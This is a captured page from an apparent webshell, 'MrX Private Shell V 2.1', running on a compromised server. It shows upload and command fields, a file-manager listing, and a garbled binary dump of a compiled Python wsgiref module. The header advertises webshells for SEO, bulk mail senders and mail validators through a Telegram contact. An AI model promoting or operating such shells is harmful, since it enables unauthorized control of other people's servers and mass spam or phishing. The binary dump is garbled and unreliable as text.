__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

#T_i��@sbdZddlZgd�ZGdd�d�Zdd�Zdd	�Zddd�Zd
d�Zdd�Zhd�j	Z
dd�ZdS)z$Miscellaneous WSGI-related Utilities�N)�FileWrapper�guess_scheme�application_uri�request_uri�shift_path_info�setup_testing_defaultsc@s2eZdZdZddd�Zdd�Zdd�Zd	d
�ZdS)
rz1Wrapper to convert file-like objects to iterables� cCs&||_||_t|d�r|j|_dSdS)N�close)�filelike�blksize�hasattrr	)�selfr
r�r�#/usr/lib/python3.10/wsgiref/util.py�__init__s

�zFileWrapper.__init__cCs2ddl}|jdtdd�|j�|j�}|r|St�)NrzXFileWrapper's __getitem__ method ignores 'key' parameter. Use iterator protocol instead.�)�
stacklevel)�warnings�warn�DeprecationWarningr
�readr�
IndexError)r
�keyr�datarrr�__getitem__s�zFileWrapper.__getitem__cCs|S�Nr)r
rrr�__iter__!szFileWrapper.__iter__cCs|j�|j�}|r|St�r)r
rr�
StopIteration)r
rrrr�__next__$szFileWrapper.__next__N)r)�__name__�
__module__�__qualname__�__doc__rrrrrrrrrs

rcCs|�d�dvr	dSdS)zMReturn a guess for whether 'wsgi.url_scheme' should be 'http' or 'https'
    �HTTPS)�yes�on�1�https�http)�get)�environrrrr*srcCs�|dd}ddlm}|�d�r||d7}n)||d7}|ddkr3|dd	kr2|d
|d7}n|ddkrA|d
|d7}|||�d�pId
dd�7}|S)z@Return the application's base URI (no PATH_INFO or QUERY_STRING)�wsgi.url_schemez://r��quote�	HTTP_HOST�SERVER_NAMEr'�SERVER_PORT�443�:�80�SCRIPT_NAME�/�latin1)�encoding)�urllib.parser-r))r*�urlr-rrrr2s
�rTcCspt|�}ddlm}||�dd�ddd�}|�d�s#||d	d
�7}n||7}|r6|�d�r6|d|d7}|S)
zBReturn the full request URI, optionally including the query stringrr,�	PATH_INFO�z/;=,r6)�safer7r4�N�QUERY_STRING�?)rr8r-r))r*�
include_queryr9r-�	path_inforrrrFs
rcCs�|�dd�}|s
dS|�d�}dd�|dd�D�|dd�<|d}|d=|�d	d�}t�|d|�}|�d�r?|dd�}|sJ|�d�sJ|d7}||d	<d�|�|d<|d
kr[d}|S)aZShift a name from PATH_INFO to SCRIPT_NAME, returning it

    If there are no remaining path segments in PATH_INFO, return None.
    Note: 'environ' is modified in-place; use a copy if you need to keep
    the original PATH_INFO or SCRIPT_NAME.

    Note: when PATH_INFO is just a '/', this returns '' and appends a trailing
    '/' to SCRIPT_NAME, even though empty path segments are normally ignored,
    and SCRIPT_NAME doesn't normally end in a '/'.  This is intentional
    behavior, to ensure that an application can tell the difference between
    '/x' and '/x/' when traversing to objects.
    r:r;Nr5cSsg|]
}|r|dkr|�qS)�.r)�.0�prrr�
<listcomp>esz#shift_path_info.<locals>.<listcomp>r=���r4rB)r)�split�	posixpath�normpath�endswith�join)r*rA�
path_parts�name�script_namerrrrSs$


rcCs|�dd�|�dd�|�d|d�|�dd�d|vr.d	|vr.|�dd
�|�d	d�|�dd
�|�dd�|�dd�|�dd�ddlm}m}|�d|��|�d|��|�dt|��|ddkrr|�dd�dS|ddkr�|�dd�dSdS)a:Update 'environ' with trivial defaults for testing purposes

    This adds various parameters required for WSGI, including HTTP_HOST,
    SERVER_NAME, SERVER_PORT, REQUEST_METHOD, SCRIPT_NAME, PATH_INFO,
    and all of the wsgi.* variables.  It only supplies default values,
    and does not replace any existing settings for these variables.

    This routine is intended to make it easier for unit tests of WSGI
    servers and applications to set up dummy environments.  It should *not*
    be used by actual WSGI servers or applications, since the data is fake!
    r/z	127.0.0.1�SERVER_PROTOCOLzHTTP/1.0r.�REQUEST_METHOD�GETr4r:r;r5zwsgi.version)r=rz
wsgi.run_oncerzwsgi.multithreadzwsgi.multiprocess)�StringIO�BytesIOz
wsgi.inputzwsgi.errorsr+r(r0r3r'r1N)�
setdefault�iorRrSr)r*rRrSrrrr|s(
�r>�
keep-alive�transfer-encoding�proxy-authenticate�proxy-authorization�te�upgrade�trailers�
connectioncCst|���S)z?Return true if 'header_name' is an HTTP/1.1 "Hop-by-Hop" header)�_hoppish�lower)�header_namerrr�
is_hop_by_hop�sra)T)r"rH�__all__rrrrrr�__contains__r^rarrrr�<module>s

)(�

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 727 B 0644
handlers.cpython-310.pyc File 16.01 KB 0644
headers.cpython-310.pyc File 7.53 KB 0644
simple_server.cpython-310.pyc File 5.18 KB 0644
util.cpython-310.pyc File 5.28 KB 0644
validate.cpython-310.pyc File 14.25 KB 0644
Filemanager